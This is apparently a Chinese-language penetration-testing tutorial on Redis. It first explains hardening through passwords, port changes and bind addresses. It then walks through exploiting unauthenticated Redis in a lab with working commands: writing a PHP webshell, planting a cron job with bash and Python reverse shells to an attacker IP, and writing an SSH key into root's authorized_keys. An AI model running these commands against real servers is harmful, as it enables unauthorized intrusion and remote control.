Redis配置及攻击利用
Redis配置及攻击利用
Redis及其安全配置
Redis介绍
redis默认会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器;redis可以被外部用户每秒尝试150k次密码,这意味着需要高强度的密码;极度BT的可能会重命名redis中的config命令...
Redis常用命令
redis-cli -h 目标IP -p 指定端口 | 连接redis |
---|---|
FLUASHALL | 清除数据库 |
auth password | 使用password登录 |
save | 更新rdb缓存 |
info | 查看版本、服务器信息 |
set x "Zh1z3ven" | 将x键值设为Zh1z3ven |
get x | 获取key为x的值 |
KEYS * | 查看所有键 |
CONFIG GET dir | 获取默认redis dir |
CONFIG GET dbfilename | 获取rdb文件名 |
CONFIG SET dir | 重设dir路径 |
CONFIG SET dbfilename | 重设rdb文件名 |
Redis配置文件&安全设置
主要分为设置访问密码,修改默认端口,绑定ip。
//设置访问密码
#
# requirepass foobared
//设置默认port
# Accept connections on the specified port, default is 6379.
# If port 0 is specified Redis will not listen on a TCP socket.
port 6379
//设置绑定IP
# By default Redis listens for connections from all the network interfaces
# available on the server. It is possible to listen to just one or multiple
# interfaces using the "bind" configuration directive, followed by one or
# more IP addresses
#
# Examples:
#
# bind 192.168.1.100 10.0.0.1
# bind 127.0.0.1
0x01 开启密码访问设置
#
requirepass 123456
此时通过未授权的方式无法正常登录
使用密码登录的两种姿势
# 0x01
redis-cli -h 192.168.124.153 -p 6380
ip:port>auth password
# 0x02
redis-cli -h 192.168.124.153 -p 6380 -a password
0x02 修改默认端口
默认绑定在6379 可以在配置文件redis.cong中修改
修改为6380,重启redis
# Accept connections on the specified port, default is 6379.
# If port 0 is specified Redis will not listen on a TCP socket.
port 6380
0x03 修改绑定IP
在这里通常会有一个认知误区,就是这个绑定IP不是绑定外来访问的地址(比如公网ip或同段内网ip)而是绑定自己服务器允许作为与外部进行连接的ip地址比如环回ip,内网ip,外网ip;绑定0.0.0.0的话就是绑定自己服务器全部的ip,那绑定自己外网ip和0.0.0.0是没什么区别的,在没有高强度密码保护的情况下很不安全。
绑定回环ip
回环ip可连接,同段ip已无法访问
设置绑定内网ip
ps:如果想要确保redis安全,还是需要高强度密码+合适的bind ip且最好不要暴露在外网
redis的攻击利用
写入webshell
前提条件
1.可连接redis(未授权或弱口令)并执行redis指令
2.开了web服务器,并且知道路径,还需要具有文件读写增删改查权限(我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)
利用过程
注意写入webshell的时候在一句话两边加上/r/n的换行符,因为用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
192.168.124.153:6379> config set dir /var/www/html
OK
192.168.124.153:6379> config set dbfilename shell.php
OK
192.168.124.153:6379> set webshell "\r\n\r\n<?php phpinfo() ?>/r/n/r/n"
OK
192.168.124.153:6379>
观察靶机已成功写入
利用计划任务反弹shell
反弹shell还是要根据实际情况来,比如ubuntu和centos反弹的命令会有区别,一般是因为sh软链接指向的是dash还是bash,一般反弹shell是bash,而dash的shell只有运行脚本的能力没有交互能力所以反弹ubuntu的shell可能需要换脚本.
参考文章:https://blog.csdn.net/sdb5858874/article/details/81837440
攻击机监听端口
nc -lvvp 22222
redis写入反弹shell的计划任务
每分钟反弹一次shell
192.168.124.153:6379> set xxx "\r\n\r\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.124.141/22222 0>&1\n\r\n\r"
OK
192.168.124.153:6379> config set dir /var/spool/cron
OK
192.168.124.153:6379> config set dbfilename root
OK
192.168.124.153:6379> save
OK
192.168.124.153:6379>
python版本
*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
导入ssh私钥远程登录
当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。
利用过程
生成ssh私钥
root@kali:~/.ssh# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:4VEO6Gjtb4l0aSNyPFzhNzjXwLJ2g8x2/JoP27KVpuM root@kali
The key's randomart image is:
+---[RSA 3072]----+
| .... |
| . o+o |
| + +oB.o |
| o o.%oO . |
| . + +SB + |
| . O = .. |
| + B o.o+ |
| . + =B |
| . .E=o |
+----[SHA256]-----+
root@kali:~/.ssh# ls
1.txt id_rsa id_rsa.bak id_rsa.pub known_hosts
将新生成的id_rsa保存在redis.txt文件中
root@kali:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > redis.txt
root@kali:~/.ssh# ls
1.txt id_rsa id_rsa.bak id_rsa.pub known_hosts redis.txt
将保存的redis.txt写入redis
cat ~/.ssh/redis.txt | redis-cli -h 192.168.124.153 -p 6380 -a 123456 -x set crack
登录redis查看私钥是否写入,并将路径改为/root/.ssh
192.168.124.153:6380> flushall
OK
192.168.124.153:6380> config set dir /home/root/.ssh
OK
192.168.124.153:6380> config set dbfilename authorized_keys
OK
192.168.124.153:6380> cat redis.txt | redis-cli -h 192.168.124.153 -x set crack
(error) ERR unknown command 'cat'
192.168.124.153:6380> get crack
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB6GBUIZ5ftcFpS4Twkk9NTsp77/uZZDMRomxAF66aCux2QOL/0WAuZXZho62lxJVI0AL+MSkbcJznsyR/ZONTDzKHu6hXaq6IohWQ78dvOLcGmPUqUVptn0Ed5Bx4VGk2o6yKoSTWVzfgzRWgGsodA4e8lGNAz+cdM9I6ot+l4quiGD6AgrepSRmQBCbPEyVyVAZtYOqSieVXyFGtIr26C3uutemyzYtG9hVSjdcNNFGNRa3ZOn0W2zRirQh+PI4/lZGP2rT8Dilh1qv2ntlXZ0F8Dh/wAxTR1CquhUst9V89ilbOW/tPDg4oDTqL3H9uuyajhQw/nl8uqAmcKGDsoUUSBg+DUnXEFLgQqvsmwFC5LkV1hF4+JGiYgFPb2wd7x0+eRnCC7s7QaodFXqlYmcdqQK6rDTUMVVx3n9uZ2asemYYr6V1lpFW17QMwh1lBNwHGTl8xRiE4DQXp0Bpk2/jYF+5CP2k1Dwz0Fd+rNYH8/hACf1/8ZFjj1IJ+MRk= root@kali\n\n\n\n"
192.168.124.153:6380> save
OK
ssh
ssh -i id_rsa root@192.168.124.153
修复建议
1、设置bind ip
2、开启访问密码认证
3、修改默认端口
4、做好acl访问控制,redis服务不要暴露在外网